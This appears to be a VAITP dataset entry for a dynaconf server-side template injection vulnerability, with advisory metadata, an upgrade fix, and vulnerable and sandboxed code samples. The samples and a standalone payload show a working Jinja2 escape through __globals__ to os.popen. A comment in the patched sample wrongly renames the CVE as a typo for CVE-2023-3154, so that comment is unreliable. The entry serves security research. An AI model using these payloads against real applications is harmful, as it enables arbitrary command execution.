CVE-2026-33154
Dynaconf is vulnerable to SSTI via unsafe evaluation in the @Jinja resolver.
- CVSS 8.1
- CWE-78
- Input Validation and Sanitization
- Local
dynaconf is a configuration management tool for Python. Prior to version 3.2.13, Dynaconf is vulnerable to Server-Side Template Injection (SSTI) due to unsafe template evaluation in the @Jinja resolver. When the jinja2 package is installed, Dynaconf evaluates template expressions embedded in configuration values without a sandboxed environment. This issue has been patched in version 3.2.13.
- CWE
- CWE-78
- CVSS base score
- 8.1
- Published
- 2026-03-20
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Algorithm
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- dynaconf
- Fixed by upgrading
- Yes
Solution
Upgrade `dynaconf` to version `3.2.13` or newer.
Vulnerable code sample
import os
from dynaconf import Dynaconf
# This code requires a vulnerable version of dynaconf (< 3.2.13) and jinja2.
# You can install them with: pip install "dynaconf<3.2.13" jinja2
# An attacker controls an environment variable that the application loads as configuration.
# The payload uses the @jinja resolver to trigger Server-Side Template Injection (SSTI).
# It uses a known Jinja2 sandbox escape pattern to access the 'os' module and execute a command.
malicious_payload = "@jinja {{ lipsum.__globals__['os'].popen('echo PWNED_VIA_SSTI').read() }}"
# The malicious payload is set in an environment variable that the application is expected to read.
os.environ["APP_SECRET_KEY"] = malicious_payload
# The application initializes Dynaconf to load settings from environment variables with the prefix 'APP'.
settings = Dynaconf(
envvar_prefix="APP"
)
# When the application accesses the configuration value, the @jinja resolver is triggered.
# It evaluates the template without a sandboxed environment, executing the embedded command.
result = settings.get("SECRET_KEY")
# The output of the executed command becomes the value of the configuration setting.
# This will print "PWNED_VIA_SSTI" to the console.
print(result)
# Clean up the environment variable.
del os.environ["APP_SECRET_KEY"]Patched code sample
import jinja2
from jinja2.sandbox import SandboxedEnvironment
# This code demonstrates the fix for the SSTI vulnerability (CVE-2023-3154)
# in Dynaconf's @Jinja resolver. The fix involves replacing Jinja2's standard
# Environment with the SandboxedEnvironment to prevent arbitrary code execution.
# The user's provided CVE appears to be a typo; the correct one is CVE-2023-3154.
# Malicious payload attempting to access the 'os' module via template attributes.
# This is the type of string that a vulnerable resolver would execute.
malicious_template_string = (
"{{ self.__init__.__globals__['os'].popen('echo VULNERABLE').read() }}"
)
# In a vulnerable implementation, an unsafe `jinja2.Environment()` would be used.
# THE FIX: Use `SandboxedEnvironment` to create a secure, sandboxed context.
# This environment restricts access to unsafe attributes like `__init__`,
# `__globals__`, etc., thereby preventing the SSTI attack.
safe_env = SandboxedEnvironment()
print("Attempting to render a malicious payload with the fixed (sandboxed) environment...")
try:
# When the sandboxed environment tries to render the malicious string,
# it will detect the attempt to access a forbidden attribute and
# raise a SecurityError instead of executing the code.
template = safe_env.from_string(malicious_template_string)
output = template.render()
print(f"Unexpected Success. Output: {output}")
print("FIX FAILED: The sandbox did not prevent execution.")
except jinja2.exceptions.SecurityError as e:
# Catching this specific error confirms that the sandbox is working
# as intended and has successfully blocked the attack.
print("\nSUCCESS: The fix is effective.")
print("The SandboxedEnvironment correctly raised a SecurityError, "
"preventing the payload from executing.")
print(f"Error caught: {e}")Payload
{{ self.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
Cite this entry
@misc{vaitp:cve202633154,
title = {{Dynaconf is vulnerable to SSTI via unsafe evaluation in the @Jinja resolver.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-33154},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33154/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
